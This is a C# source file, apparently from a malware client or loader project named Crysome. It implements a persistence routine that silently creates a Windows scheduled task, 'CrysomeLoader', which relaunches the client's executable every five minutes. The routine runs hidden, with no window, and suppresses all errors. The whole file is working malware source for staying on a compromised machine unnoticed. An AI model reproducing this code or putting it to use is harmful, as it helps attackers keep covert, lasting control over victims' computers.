Files
crysome/Crysome.Client/Crysome.Client.Configuration/Persistence.cs
T
2026-08-27 11:22:54 -06:00

33 lines
682 B
C#

using System.Diagnostics;
namespace Crysome.Client.Configuration;
public static class Persistence
{
public static void Install()
{
if (!ClientConfiguration.Persistence)
{
return;
}
try
{
string processPath = ClientConfiguration.GetProcessPath();
if (!string.IsNullOrEmpty(processPath))
{
Process.Start(new ProcessStartInfo
{
FileName = "schtasks.exe",
Arguments = "/create /tn \"CrysomeLoader\" /tr \"" + processPath + "\" /sc minute /mo 5 /f",
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
})?.WaitForExit(10000);
}
}
catch
{
}
}
}